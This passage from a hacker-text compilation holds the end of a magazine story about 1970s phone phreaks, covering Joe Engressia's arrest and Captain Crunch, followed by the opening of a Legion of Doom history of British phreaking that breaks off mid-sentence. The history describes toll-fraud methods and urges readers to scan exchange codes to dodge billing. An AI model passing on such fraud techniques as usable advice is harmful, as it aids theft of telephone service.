  17424.  
  17425. "At first the security people advised the company to hire me full-time to
  17426. search out other flaws and discover other computer freaks.  I might have
  17427. liked
  17428. that.  But I probably would have turned into a double double agent rather
  17429. than
  17430. the double agent they wanted.  I might have resurrected The Midnight
  17431. Skulker
  17432. and tried to catch myself.  Who knows?  Anyway, the higher-ups turned the
  17433. whole
  17434. idea down."
  17435.  
  17436. You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own
  17437. Home, Perhaps
  17438.  
  17439. Computer freaking may be the wave of the future.  It suits the phone-phreak
  17440. sensibility perfectly.  Gilbertson, the blue-box inventor and a lifelong
  17441. phone
  17442. phreak, has also gone on from phone-phreaking to computer-freaking.  Before
  17443. he
  17444. got into the blue-box business Gilbertson, who is a highly skilled
  17445. programmer,
  17446. devised programs for international currency arbitrage.
  17447.  
  17448. But he began playing with computers in earnest when he learned he could use
  17449. his
  17450. blue box in tandem with the computer terminal installed in his apartment by
  17451. the
  17452. instrumentation firm he worked for.  The print-out terminal and keyboard
  17453. was
  17454. equipped with acoustical coupling, so that by coupling his little ivory
  17455. Princess phone to the terminal and then coupling his blue box on that, he
  17456. could
  17457. M-F his way into other computers with complete anonymity, and without
  17458. charge;
  17459. program and re-program them at will; feed them false or misleading
  17460. information;
  17461. tap and steal from them.  He explained to me that he taps computers by
  17462. busying
  17463. out all the lines, then going into a verification trunk, listening into the
  17464. passwords and instructions one of the time sharers uses, and them M-F-ing
  17465. in
  17466. and imitating them.  He believes it would not be impossible to creep into
  17467. the
  17468. F.B.I's crime control computer through a local police computer terminal and
  17469. phreak around with the F.B.I.'s memory banks.  He claims he has succeeded
  17470. in
  17471. re-programming a certain huge institutional computer in such a way that it
  17472.  
  17473.  
  17474. has
  17475. cordoned off an entire section of its circuitry for his personal use, and
  17476. at
  17477. the same time conceals that arrangement from anyone else's notice.  I have
  17478. been
  17479. unable to verify this claim.
  17480.  
  17481. Like Captain Crunch, like Alexander Graham Bell (pseudonym of a
  17482. disgruntled-looking East Coast engineer who claims to have invented the
  17483. black
  17484. box and now sells black and blue boxes to gamblers and radical heavies),
  17485. like
  17486. most phone phreaks, Gilbertson began his career trying to rip off pay
  17487. phones as
  17488. a teenager.  Figure them out, then rip them off.  Getting his dime back
  17489. from
  17490. the pay phone is the phone phreak's first thrilling rite of passage.  After
  17491. learning the usual eighteen different ways of getting his dime back,
  17492. Gilbertson
  17493. learned how to make master keys to coin-phone cash boxes, and get everyone
  17494. else's dimes back.  He stole some phone-company equipment and put together
  17495. his
  17496. own home switchboard with it.  He learned to make a simple "bread-box"
  17497. device,
  17498. of the kind used by bookies in the Thirties (bookie gives a number to his
  17499. betting clients; the phone with that number is installed in some widow
  17500. lady's
  17501. apartment, but is rigged to ring in the bookie's shop across town, cops
  17502. trace
  17503. big betting number and find nothing but the widow).
  17504.  
  17505. Not long after that afternoon in 1968 when, deep in the stacks of an
  17506. engineering library, he came across a technical journal with the phone tone
  17507. frequencies and rushed off to make his first blue box, not long after that
  17508. Gilbertson abandoned a very promising career in physical chemistry and
  17509. began
  17510. selling blue boxes for $1,500 apiece.
  17511.  
  17512. "I had to leave physical chemistry.  I just ran out of interesting things
  17513. to
  17514. learn," he told me one evening.  We had been talking in the apartment of
  17515. the
  17516. man who served as the link between Gilbertson and the syndicate in
  17517. arranging
  17518. the big $300,000 blue-box deal which fell through because of legal trouble.
  17519. There has been some smoking.
  17520.  
  17521. "No more interesting things to learn," he continues.  "Physical chemistry
  17522. turns
  17523. out to be a sick subject when you take it to its highest level.  I don't
  17524. know.
  17525. I don't think I could explain to you how it's sick.  You have to be there.
  17526. But
  17527. you get, I don't know, a false feeling of omnipotence.  I suppose it's like
  17528. phone-phreaking that way.  This huge thing is there.  This whole system.
  17529. And
  17530. there are holes in it and you slip into them like Alice and you're
  17531. pretending
  17532.  
  17533.  
  17534. you're doing something you're actually not, or at least it's no longer you
  17535. that's doing what you thought you were doing.  It's all Lewis Carroll.
  17536. Physical chemistry and phone-phreaking.  That's why you have these
  17537. phone-phreak
  17538. pseudonyms like The Cheshire Cat, the Red King, and The Snark.  But there's
  17539. something about phone-phreaking that you don't find in physical chemistry."
  17540. He
  17541. looks up at me:
  17542.  
  17543. "Did you ever steal anything?"
  17544.  
  17545. "Well yes, I..."
  17546.  
  17547. "Then you know!  You know the rush you get.  It's not just knowledge, like
  17548. physical chemistry.  It's forbidden knowledge.  You know.  You can learn
  17549. about
  17550. anything under the sun and be bored to death with it. But the idea that
  17551. it's
  17552. illegal.  Look: you can be small and mobile and smart and you're ripping
  17553. off
  17554. somebody large and powerful and very dangerous."
  17555.  
  17556. People like Gilbertson and Alexander Graham Bell are always talking about
  17557. ripping off the phone company and screwing Ma Bell.  But if they were shown
  17558. a
  17559. single button and told that by pushing it they could turn the entire
  17560. circuitry
  17561. of A.T.&T. into molten puddles, they probably wouldn't push it.  The
  17562. disgruntled-inventor phone phreak needs the phone system the way the lapsed
  17563. Catholic needs the Church, the way Satan needs a God, the way The Midnight
  17564. Skulker needed, more than anything else, response.
  17565.  
  17566. Later that evening Gilbertson finished telling me how delighted he was at
  17567. the
  17568. flood of blue boxes spreading throughout the country, how delighted he was
  17569. to
  17570. know that "this time they're really screwed."  He suddenly shifted gears.
  17571.  
  17572. "Of course.  I do have this love/hate thing about Ma Bell.  In a way I
  17573. almost
  17574. like the phone company.  I guess I'd be very sad if they were to
  17575. disintegrate.
  17576. In a way it's just that after having been so good they turn out to have
  17577. these
  17578. things wrong with them.  It's those flaws that allow me to get in and mess
  17579. with
  17580. them, but I don't know.  There's something about it that gets to you and
  17581. makes
  17582. you want to get to it, you know."
  17583.  
  17584. I ask him what happens when he runs out of interesting, forbidden things to
  17585. learn about the phone system.
  17586.  
  17587. "I don't know, maybe I'd go to work for them for a while."
  17588.  
  17589. "In security even?"
  17590.  
  17591. "I'd do it, sure.  I just as soon play -- I'd just as soon work on either
  17592.  
  17593.  
  17594. side."
  17595.  
  17596. "Even figuring out how to trap phone phreaks? I said, recalling Mark
  17597. Bernay's
  17598. game."
  17599.  
  17600. "Yes, that might be interesting.  Yes, I could figure out how to outwit the
  17601. phone phreaks.  Of course if I got too good at it, it might become boring
  17602. again.  Then I'd have to hope the phone phreaks got much better and
  17603. outsmarted
  17604. me for a while.  That would move the quality of the game up one level.  I
  17605. might
  17606. even have to help them out, you know, 'Well, kids, I wouldn't want this to
  17607. get
  17608. around but did you ever think of -- ?' I could keep it going at higher and
  17609. higher levels forever."
  17610.  
  17611. The dealer speaks up for the first time.  He has been staring at the soft
  17612. blinking patterns of light and colors on the translucent tiled wall facing
  17613. him.
  17614. (Actually there are no patterns: the color and illumination of every tile
  17615. is
  17616. determined by a computerized random-number generator designed by Gilbertson
  17617. which insures that there can be no meaning to any sequence of events in the
  17618. tiles.)
  17619.  
  17620. "Those are nice games you're talking about," says the dealer to his friend.
  17621. "But I wouldn't mind seeing them screwed.  A telephone isn't private
  17622. anymore.
  17623. You can't say anything you really want to say on a telephone or you have to
  17624. go
  17625. through that paranoid bullshit.  'Is it cool to talk on the phone?' I mean,
  17626. even if it is cool, if you have to ask 'Is it cool,' then it isn't cool.
  17627. You
  17628. know.  'Is it cool,' then it isn't cool.  You know.  Like those blind kids,
  17629. people are going to start putting together their own private telephone
  17630. companies if they want to really talk.  And you know what else.  You don't
  17631. hear
  17632. silences on the phone anymore.  They've got this time-sharing thing on
  17633. long-distance lines where you make a pause and they snip out that piece of
  17634. time
  17635. and use it to carry part of somebody else's conversation.  Instead of a
  17636. pause,
  17637. where somebody's maybe breathing or sighing, you get this blank hole and
  17638. you
  17639. only start hearing again when someone says a word and even the beginning of
  17640. the
  17641. word is clipped off. Silences don't count -- you're paying for them, but
  17642. they
  17643. take them away from you.  It's not cool to talk and you can't hear someone
  17644. when
  17645. they don't talk.  What the hell good is the phone?  I wouldn't mind seeing
  17646. them
  17647. totally screwed."
  17648.  
  17649. The Big Memphis Bust
  17650.  
  17651. Joe Engressia never wanted to screw Ma Bell.  His dream had always been to
  17652.  
  17653.  
  17654. work
  17655. for her.
  17656.  
  17657. The day I visited Joe in his small apartment on Union Avenue in Memphis, he
  17658. was
  17659. upset about another setback in his application for a telephone job.
  17660.  
  17661. "They're stalling on it.  I got a letter today telling me they'd have to
  17662. postpone the interview I requested again.  My landlord read it for me.
  17663. They
  17664. gave me some runaround about wanting papers on my rehabilitation status but
  17665. I
  17666. think there's something else going on."
  17667.  
  17668. When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets
  17669. when
  17670. he has guests -- it looked as if there was enough telephone hardware to
  17671. start a
  17672. small phone company of his own.
  17673.  
  17674. There is one phone on top of his desk, one phone sitting in an open drawer
  17675. beneath the desk top.  Next to the desk-top phone is a cigar-box-size M-F
  17676. device with big toggle switches, and next to that is some kind of switching
  17677. and
  17678. coupling device with jacks and alligator plugs hanging loose.  Next to that
  17679. is
  17680. a Braille typewriter.  On the floor next to the desk, lying upside down
  17681. like a
  17682. dead tortoise, is the half-gutted body of an old black standard phone.
  17683. Across
  17684. the room on a torn and dusty couch are two more phones, one of them a
  17685. touch-tone model; two tape recorders; a heap of phone patches and
  17686. cassettes,
  17687. and a life-size toy telephone.
  17688.  
  17689. Our conversation is interrupted every ten minutes by phone phreaks from all
  17690. over the country ringing Joe on just about every piece of equipment but the
  17691. toy
  17692. phone and the Braille typewriter.  One fourteen-year-old blind kid from
  17693. Connecticut calls up and tells Joe he's got a girl friend.  He wants to
  17694. talk to
  17695. Joe about girl friends. Joe says they'll talk later in the evening when
  17696. they
  17697. can be alone on the line.  Joe draws a deep breath, whistles him off the
  17698. air
  17699. with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls
  17700. but he
  17701. looked worried and preoccupied that evening, his brow constantly furrowed
  17702. over
  17703. his dark wandering eyes.  In addition to the phone-company stall, he has
  17704. just
  17705. learned that his apartment house is due to be demolished in sixty days for
  17706. urban renewal.  For all its shabbiness, the Union Avenue apartment house
  17707. has
  17708. been Joe's first home-of-his-own and he's worried that he may not find
  17709. another
  17710. before this one is demolished.
  17711.  
  17712.  
  17713.  
  17714. But what really bothers Joe is that switchmen haven't been listening to
  17715. him.
  17716. "I've been doing some checking on 800 numbers lately, and I've discovered
  17717. that
  17718. certain 800 numbers in New Hampshire couldn't be reached from Missouri and
  17719. Kansas.  Now it may sound like a small thing, but I don't like to see
  17720. sloppy
  17721. work; it makes me feel bad about the lines.  So I've been calling up
  17722. switching
  17723. offices and reporting it, but they haven't corrected it.  I called them up
  17724. for
  17725. the third time today and instead of checking they just got mad.  Well, that
  17726. gets me mad.  I mean, I do try to help them.  There's something about them
  17727. I
  17728. can't understand -- you want to help them and they just try to say you're
  17729. defrauding them."
  17730.  
  17731. It is Sunday evening and Joe invites me to join him for dinner at a Holiday
  17732. Inn.  Frequently on Sunday evening Joe takes some of his welfare money,
  17733. calls a
  17734. cab, and treats himself to a steak dinner at one of Memphis' thirteen
  17735. Holiday
  17736. Inns.  (Memphis is the headquarters of Holiday Inn.  Holiday Inns have been
  17737. a
  17738. favorite for Joe ever since he made his first solo phone trip to a Bell
  17739. switching office in Jacksonville, Florida, and stayed in the Holiday Inn
  17740. there.
  17741. He likes to stay at Holiday Inns, he explains, because they represent
  17742. freedom
  17743. to him and because the rooms are arranged the same all over the country so
  17744. he
  17745. knows that any Holiday Inn room is familiar territory to him.  Just like
  17746. any
  17747. telephone.)
  17748.  
  17749. Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on
  17750. Madison Avenue in Memphis, Joe tells me the highlights of his life as a
  17751. phone
  17752. phreak.
  17753.  
  17754. At age seven, Joe learned his first phone trick.  A mean baby-sitter, tired
  17755. of
  17756. listening to little Joe play with the phone as he always did, constantly,
  17757. put a
  17758. lock on the phone dial.  "I got so mad.  When there's a phone sitting there
  17759. and
  17760. I can't use it... so I started getting mad and banging the receiver up and
  17761. down.  I noticed I banged it once and it dialed one.  Well, then I tried
  17762. banging it twice...." In a few minutes Joe learned how to dial by pressing
  17763. the
  17764. hook switch at the right time.  "I was so excited I remember going 'whoo
  17765. whoo'
  17766. and beat a box down on the floor."
  17767.  
  17768. At age eight Joe learned about whistling.  "I was listening to some
  17769. intercept
  17770. non working-number recording in L.A.- I was calling L.A. as far back as
  17771. that,
  17772.  
  17773.  
  17774. but I'd mainly dial non working numbers because there was no charge, and
  17775. I'd
  17776. listen to these recordings all day.  Well, I was whistling 'cause listening
  17777. to
  17778. these recordings can be boring after a while even if they are from L.A.,
  17779. and
  17780. all of a sudden, in the middle of whistling, the recording clicked off.  I
  17781. fiddled around whistling some more, and the same thing happened.  So I
  17782. called
  17783. up the switch room and said, 'I'm Joe.  I'm eight years old and I want to
  17784. know
  17785. why when I whistle this tune the line clicks off.'  He tried to explain it
  17786. to
  17787. me, but it was a little too technical at the time.  I went on learning.
  17788. That
  17789. was a thing nobody was going to stop me from doing. The phones were my
  17790. life,
  17791. and I was going to pay any price to keep on learning.  I knew I could go to
  17792. jail.  But I had to do what I had to do to keep on learning."
  17793.  
  17794. The phone is ringing when we walk back into Joe's apartment on Union
  17795. Avenue.
  17796. It is Captain Crunch.  The Captain has been following me around by phone,
  17797. calling up everywhere I go with additional bits of advice and explanation
  17798. for
  17799. me and whatever phone phreak I happen to be visiting.  This time the
  17800. Captain
  17801. reports he is calling from what he describes as "my hideaway high up in the
  17802. Sierra Nevada."  He pulses out lusty salvos of M-F and tells Joe he is
  17803. about to
  17804. "go out and get a little action tonight.  Do some phreaking of another
  17805. kind, if
  17806. you know what I mean."  Joe chuckles.
  17807.  
  17808. The Captain then tells me to make sure I understand that what he told me
  17809. about
  17810. tying up the nation's phone lines was true, but that he and the phone
  17811. phreaks
  17812. he knew never used the technique for sabotage.  They only learned the
  17813. technique
  17814. to help the phone company.
  17815.  
  17816. "We do a lot of troubleshooting for them.  Like this New Hampshire/Missouri
  17817. WATS-line flaw I've been screaming about.  We help them more than they
  17818. know."
  17819.  
  17820. After we say good-bye to the Captain and Joe whistles him off the line, Joe
  17821. tells me about a disturbing dream he had the night before: "I had been
  17822. caught
  17823. and they were taking me to a prison.  It was a long trip.  They were taking
  17824. me
  17825. to a prison a long long way away.  And we stopped at a Holiday Inn and it
  17826. was
  17827. my last night ever using the phone and I was crying and crying, and the
  17828. lady at
  17829. the Holiday Inn said, 'Gosh, honey, you should never be sad at a Holiday
  17830. Inn.
  17831. You should always be happy here.  Especially since it's your last night.'
  17832.  
  17833.  
  17834. And
  17835. that just made it worse and I was sobbing so much I couldn't stand it."
  17836.  
  17837. Two weeks after I left Joe Engressia's apartment, phone-company security
  17838. agents
  17839. and Memphis police broke into it.  Armed with a warrant, which they left
  17840. pinned
  17841. to a wall, they confiscated every piece of equipment in the room, including
  17842. his
  17843. toy telephone.  Joe was placed under arrest and taken to the city jail
  17844. where he
  17845. was forced to spend the night since he had no money and knew no one in
  17846. Memphis
  17847. to call.
  17848.  
  17849. It is not clear who told Joe what that night, but someone told him that the
  17850. phone company had an open-and-shut case against him because of revelations
  17851. of
  17852. illegal activity he had made to a phone-company undercover agent.
  17853.  
  17854. By morning Joe had become convinced that the reporter from Esquire, with
  17855. whom
  17856. he had spoken two weeks ago, was the undercover agent.  He probably had
  17857. ugly
  17858. thoughts about someone he couldn't see gaining his confidence, listening to
  17859. him
  17860. talk about his personal obsessions and dreams, while planning all the while
  17861. to
  17862. lock him up.
  17863.  
  17864. "I really thought he was a reporter," Engressia told the Memphis
  17865. Press-Seminar.
  17866. "I told him everything...." Feeling betrayed, Joe proceeded to confess
  17867. everything to the press and police.
  17868.  
  17869. As it turns out, the phone company did use an undercover agent to trap Joe,
  17870. although it was not the Esquire reporter.
  17871.  
  17872. Ironically, security agents were alerted and began to compile a case
  17873. against
  17874. Joe because of one of his acts of love for the system: Joe had called an
  17875. internal service department to report that he had located a group of
  17876. defective
  17877. long-distance trunks, and to complain again about the New
  17878. Hampshire/Missouri
  17879. WATS problem.  Joe always liked Ma Bell's lines to be clean and responsive.
  17880. A
  17881. suspicious switchman reported Joe to the security agents who discovered
  17882. that
  17883. Joe had never had a long-distance call charged to his name.
  17884.  
  17885. Then the security agents learned that Joe was planning one of his phone
  17886. trips
  17887. to a local switching office.  The security people planted one of their
  17888. agents
  17889. in the switching office.  He posed as a student switchman and followed Joe
  17890. around on a tour.  He was extremely friendly and helpful to Joe, leading
  17891. him
  17892.  
  17893.  
  17894. around the office by the arm. When the tour was over he offered Joe a ride
  17895. back
  17896. to his apartment house.  On the way he asked Joe -- one tech man to another
  17897. --
  17898. about "those blue boxers" he'd heard about.  Joe talked about them freely,
  17899. talked about his blue box freely, and about all the other things he could
  17900. do
  17901. with the phones.
  17902.  
  17903. The next day the phone-company security agents slapped a monitoring tape on
  17904. Joe's line, which eventually picked up an illegal call.  Then they applied
  17905. for
  17906. the search warrant and broke in.
  17907.  
  17908. In court Joe pleaded not guilty to possession of a blue box and theft of
  17909. service.  A sympathetic judge reduced the charges to malicious mischief and
  17910. found him guilty on that count, sentenced him to two thirty-day sentences
  17911. to be
  17912. served concurrently and then suspended the sentence on condition that Joe
  17913. promise never to play with phones again.  Joe promised, but the phone
  17914. company
  17915. refused to restore his service.  For two weeks after the trial Joe could
  17916. not be
  17917. reached except through the pay phone at his apartment house, and the
  17918. landlord
  17919. screened all calls for him.
  17920.  
  17921. Phone-phreak Carl managed to get through to Joe after the trial, and
  17922. reported
  17923. that Joe sounded crushed by the whole affair.
  17924.  
  17925. "What I'm worried about," Carl told me, "is that Joe means it this time.
  17926. The
  17927. promise.  That he'll never phone-phreak again.  That's what he told me,
  17928. that
  17929. he's given up phone-phreaking for good.  I mean his entire life.  He says
  17930. he
  17931. knows they're going to be watching him so closely for the rest of his life
  17932. he'll never be able to make a move without going straight to jail.  He
  17933. sounded
  17934. very broken up by the whole experience of being in jail. It was awful to
  17935. hear
  17936. him talk that way.  I don't know.  I hope maybe he had to sound that way.
  17937. Over
  17938. the phone, you know."
  17939.  
  17940. He reports that the entire phone-phreak underground is up in arms over the
  17941. phone company's treatment of Joe.  "All the while Joe had his hopes pinned
  17942. on
  17943. his application for a phone-company job, they were stringing him along
  17944. getting
  17945. ready to bust him.  That gets me mad.  Joe spent most of his time helping
  17946. them
  17947. out.  The bastards.  They think they can use him as an example.  All of
  17948. sudden
  17949. they're harassing us on the coast.  Agents are jumping up on our lines.
  17950. They
  17951. just busted ------'s mute yesterday and ripped out his lines.  But no
  17952.  
  17953.  
  17954. matter
  17955. what Joe does, I don't think we're going to take this lying down."
  17956.  
  17957. Two weeks later my phone rings and about eight phone phreaks in succession
  17958. say
  17959. hello from about eight different places in the country, among them Carl,
  17960. Ed,
  17961. and Captain Crunch.  A nationwide phone-phreak conference line has been
  17962. reestablished through a switching machine in --------, with the cooperation
  17963. of
  17964. a disgruntled switchman.
  17965.  
  17966. "We have a special guest with us today," Carl tells me.
  17967.  
  17968. The next voice I hear is Joe's.  He reports happily that he has just moved
  17969. to a
  17970. place called Millington, Tennessee, fifteen miles outside of Memphis, where
  17971. he
  17972. has been hired as a telephone-set repairman by a small independent phone
  17973. company.  Someday he hopes to be an equipment troubleshooter.
  17974.  
  17975. "It's the kind of job I dreamed about.  They found out about me from the
  17976. publicity surrounding the trial.  Maybe Ma Bell did me a favor busting me.
  17977. I'll have telephones in my hands all day long."
  17978.  
  17979. "You know the expression, 'Don't get mad, get even'?" phone-phreak Carl
  17980. asked
  17981. me.  "Well, I think they're going to be very sorry about what they did to
  17982. Joe
  17983. and what they're trying to do to us."
  17984.  
  17985.             (an excellent story presented here by Jolly Roger.
  17986.              Taken from the Official Hacker's Guide. Originally
  17987.              seen by myself in some book and I cannot remember
  17988.              the name of it.)
  17989.  
  17990.  
  17991.  
  17992.                        -->Courtesy of the Jolly Roger<--
  17993.  
  17994.                     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  17995.                     $                                     $
  17996.                     $   THE HISTORY OF BRITISH PHREAKING  $
  17997.                     $   -=- -=-=-=- -- -=-=-=- -=-=-=-=-  $
  17998.                     $                                     $
  17999.                     $     THE SECOND IN A SERIES OF       $
  18000.                     $     THE HISTORY OF.....PHILES       $
  18001.                     $                                     $
  18002.                     $       WRITTEN AND UPLOADED BY:      $
  18003.                     $                                     $
  18004.                     $$$$$$$$$$$$-=>LEX LUTHOR<=-$$$$$$$$$$$
  18005.                     $                 AND                 $
  18006.                     $          THE LEGION OF DOOM!        $
  18007.                     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  18008.  
  18009.   NOTE:  THE BRITISH POST OFFICE, IS THE U.S.  EQUIVALENT OF MA BELL.
  18010.  
  18011.   IN BRITAIN, PHREAKING GOES BACK TO THE EARLY FIFTIES, WHEN THE TECHNIQUE
  18012.  
  18013.  
  18014. OF
  18015. 'TOLL A DROP BACK' WAS DISCOVERED.  TOLL A WAS AN EXCHANGE NEAR ST.  PAULS
  18016. WHICH ROUTED CALLS BETWEEN LONDON AND NEARBY NON-LONDON EXCHANGES.  THE
  18017. TRICK
  18018. WAS TO DIAL AN UNALLOCATED NUMBER, AND THEN DEPRESS THE RECEIVER-REST FOR
  18019. 1/2
  18020. SECOND.  THIS FLASHING INITIATED THE 'CLEAR FORWARD' SIGNAL, LEAVING THE
  18021. CALLER
  18022. WITH AN OPEN LINE INTO THE TOLL A EXCHANGE.THE COULD THEN DIAL 018, WHICH
  18023. FORWARDED HIM TO THE TRUNK EXCHANGE AT THAT TIME, THE FIRST LONG DISTANCE
  18024. EXCHANGE IN BRITAIN AND FOLLOW IT WITH THE CODE FOR THE DISTANT EXCHANGE TO
  18025. WHICH HE WOULD BE CONNECTED AT NO EXTRA CHARGE.
  18026.  
  18027.   THE SIGNALS NEEDED TO CONTROL THE UK NETWORK TODAY WERE PUBLISHED IN THE
  18028. "INSTITUTION OF POST OFFICE ENGINEERS JOURNAL" AND REPRINTED IN THE SUNDAY
  18029. TIMES (15 OCT.  1972).
  18030.  
  18031.   THE SIGNALLING SYSTEM THEY USE:  SIGNALLING SYSTEM NO.  3 USES PAIRS OF
  18032. FREQUENCIES SELECTED FROM 6 TONES SEPARATED BY 120HZ.  WITH THAT INFO, THE
  18033. PHREAKS MADE "BLEEPERS" OR AS THEY ARE CALLED HERE IN THE U.S.  "BLUE BOX",
  18034. BUT
  18035. THEY DO UTILIZE DIFFERENT MF TONES THEN THE U.S., THUS, YOUR U.S.  BLUE BOX
  18036. THAT YOU SMUGGLED INTO THE UK WILL NOT WORK, UNLESS YOU CHANGE THE
  18037. FREQUENCIES.
  18038.  
  18039.   IN THE EARLY SEVENTIES, A SIMPLER SYSTEM BASED ON DIFFERENT NUMBERS OF
  18040. PULSES
  18041. WITH THE SAME FREQUENCY (2280HZ) WAS USED.  FOR MORE INFO ON THAT, TRY TO
  18042. GET A
  18043. HOLD OF:  ATKINSON'S "TELEPHONY AND SYSTEMS TECHNOLOGY".
  18044.  
  18045.   IN THE EARLY DAYS OF BRITISH PHREAKING, THE CAMBRIDGE UNIVERSITY TITAN
  18046. COMPUTER WAS USED TO RECORD AND CIRCULATE NUMBERS FOUND BY THE EXHAUSTIVE
  18047. DIALING OF LOCAL NETWORKS.  THESE NUMBERS WERE USED TO CREATE A CHAIN OF
  18048. LINKS
  18049. FROM LOCAL EXCHANGE TO LOCAL EXCHANGE ACROSS THE COUNTRY, BYPASSING THE
  18050. TRUNK
  18051. CIRCUITS.  BECAUSE THE INTERNAL ROUTING CODES IN THE UK NETWORK ARE NOT THE
  18052. SAME AS THOSE DIALED BY THE CALLER, THE PHREAKS HAD TO DISCOVER THEM BY
  18053. 'PROBE
  18054. AND LISTEN' TECHNIQUES OR MORE COMMONLY KNOWN IN THE U.S.-- SCANNING.  WHAT
  18055. THEY DID WAS PUT IN LIKELY SIGNALS AND LISTENED TO FIND OUT IF THEY
  18056. SUCCEEDED.
  18057. THE RESULTS OF SCANNING WERE CIRCULATED TO OTHER PHREAKS. DISCOVERING EACH
  18058. OTHER TOOK TIME AT FIRST, BUT EVENTUALLY THE PHREAKS BECAME ORGANIZED.  THE
  18059. "TAP" OF BRITAIN WAS CALLED "UNDERCURRENTS" WHICH ENABLED BRITISH PHREAKS
  18060. TO
  18061. SHARE THE INFO ON NEW NUMBERS, EQUIPMENT ETC.
  18062.  
  18063.   TO UNDERSTAND WHAT THE BRITISH BRITISH PHREAKS DID, THINK OF THE PHONE
  18064. NETWORK IN THREE LAYERS OF LINES:  LOCAL, TRUNK, AND INTERNATIONAL.#IN THE
  18065. UK,
  18066. SUBSCRIBER TRUNK DIALING (STD), IS THE MECHANISM WHICH TAKES A CALL FROM
  18067. THE
  18068. LOCAL LINES AND (LEGITIMATELY) ELEVATES IT TO A TRUNK OR INTERNATIONAL
  18069. LEVEL.#THE UK PHREAKS FIGURED THAT A CALL AT TRUNK LEVEL CAN BE ROUTED
  18070. THROUGH
  18071. ANY NUMBER OF EXCHANGES, PROVIDED THAT THE RIGHT ROUTING CODES WERE FOUND
  18072.  
  18073.  
  18074. AND
  18075. USED CORRECTLY.  THEY ALSO HAD TO DISCOVER HOW TO GET FROM LOCAL TO TRUNK
  18076. LEVEL
  18077. EITHER WITHOUT BEING CHARGED (WHICH THEY DID WITH A BLEEPER BOX) OR WITHOUT
  18078. USING (STD).  CHAINING HAS ALREADY BEEN MENTIONED BUT IT REQUIRES LONG
  18079. STRINGS
  18080. OF DIGITS AND SPEECH GETS MORE AND MORE FAINT AS THE CHAIN GROWS, JUST LIKE
  18081. IT
  18082. DOES WHEN YOU STACK TRUNKS BACK AND FORTH ACROSS THE U.S.#THE WAY THE
  18083. SECURITY
  18084. REPS SNAGGED THE PHREAKS WAS TO PUT A SIMPLE 'PRINTERMETER' OR AS WE CALL
  18085. IT:
  18086. A PEN REGISTER ON THE SUSPECTS LINE, WHICH SHOWS EVERY DIGIT DIALED FROM
  18087. THE
  18088. SUBSCRIBERS LINE.
  18089.  
  18090.   THE BRITISH PREFER TO GET ONTO THE TRUNKS RATHER THAN CHAINING.  ONE WAY
  18091. WAS
  18092. TO DISCOVER WHERE LOCAL CALLS USE THE TRUNKS BETWEEN NEIGHBORING EXCHANGES,
  18093. START A CALL AND STAY ON THE TRUNK INSTEAD OF RETURNING TO THE LOCAL LEVEL
  18094. ON
  18095. REACHING THE DISTANT SWITCH.  THIS AGAIN REQUIRED EXHAUSTIVE DIALING AND
  18096. MADE
  18097. MORE WORK FOR TITAN; IT ALSO REVEALED 'FIDDLES', WHICH WERE INSERTED BY
  18098. POST
  18099. OFFICE ENGINEERS.
  18100.  
  18101.   WHAT FIDDLING MEANS IS THAT THE ENGINEERS REWIRED THE EXCHANGES FOR THEIR
  18102. OWN
  18103. BENEFIT.  THE EQUIPMENT IS MODIFIED TO GIVE ACCESS TO A TRUNK WITH OUT
  18104. BEING
  18105. CHARGED, AN OPERATION WHICH IS PRETTY EASY IN STEP BY STEP (SXS)
  18106. ELECTROMECHANICAL EXCHANGES, WHICH WERE INSTALLED IN BRITAIN EVEN IN THE
  18107. 1970S
  18108. (NOTE:  I KNOW OF A BACK DOOR INTO THE CANADIAN SYSTEM ON A 4A CO., SO IF
  18109. YOU
  18110. ARE ON SXS OR A 4A, TRY SCANNING 3 DIGIT EXCHANGES, IE:  DIAL 999,998,997
  18111. ETC.#AND LISTEN FOR THE BEEP-KERCHINK, IF THERE ARE NO 3 DIGIT CODES WHICH
  18112. ALLOW DIRECT ACCESS TO A TANDEM IN YOUR LOCAL EXCHANGE AND BYPASSES THE AMA
  18113. SO
  18114. YOU WON'T BE BILLED, NOT HAVE TO BLAST 2600 EVERY TIME YOU WISH TO BOX A
  18115. CALL.
  18116.  
  18117.   A FAMOUS BRITISH 'FIDDLER' REVEALED IN THE EARLY 1970S WORKED BY DIALING
  18118. 173.
  18119. THE CALLER THEN ADDED THE TRUNK CODE OF 1 AND THE SUBSCRIBERS LOCAL NUMBER.
  18120. AT
  18121. THAT TIME, MOST ENGINEERING TEST SERVICES BEGAN WITH 17X, SO THE ENGINEERS
  18122. COULD HIDE THEIR FIDDLES IN THE NEST OF SERVICE WIRES.  WHEN SECURITY REPS
  18123. STARTED SEARCHING, THE FIDDLES WERE CONCEALED BY TONES SIGNALLING:  'NUMBER
  18124. UNOBTAINALBE' OR 'EQUIPMENT ENGAGED' WHICH SWITCHED OFF AFTER A DELAY.  THE
  18125. NECESSARY RELAYS ARE SMALL AND EASILY HIDDEN.
  18126.  
  18127.   THERE WAS ANOTHER SIDE TO PHREAKING IN THE UK IN THE SIXTIES. BEFORE STD
  18128. WAS
  18129. WIDESPREAD, MANY 'ORDINARY' PEOPLE WERE DRIVEN TO.
  18130.  
  18131. OCCASIONAL PHREAKING FROM SHEER FRUSTRATION AT THE INEFFICIENT OPERATOR
  18132.  
  18133.  
  18134. CONTROLLED TRUNK SYSTEM.  THIS CAME TO A HEAD DURING A STRIKE ABOUT 1961
  18135. WHEN
  18136. OPERATORS COULD NOT BE REACHED.  NOTHING COMPLICATED WAS NEEDED.  MANY
  18137. OPERATORS HAD BEEN IN THE HABIT OF REPEATING THE CODES AS THEY DIALLED THE
  18138. REQUESTED NUMBERS SO PEOPLE SOON LEARNT THE NUMBERS THEY CALLED FREQUENTLY.
  18139. THE ONLY 'TRICK' WAS TO KNOW WHICH EXCHANGES COULD BE DIALLED THROUGH TO
  18140. PASS
  18141. ON THE TRUNK NUMBER.CALLERS ALSO NEEDED A PRETTY QUIET PLACE TO DO IT,
  18142. SINCE
  18143. TIMING RELATIVE TO CLICKS WAS IMPORTANT THE MOST FAMOUS TRIAL OF BRITISH
  18144. PHREAKS WAS CALLED THE OLD BAILY TRIAL.#WHICH STARTED ON 3 OCT.  1973.#WHAT
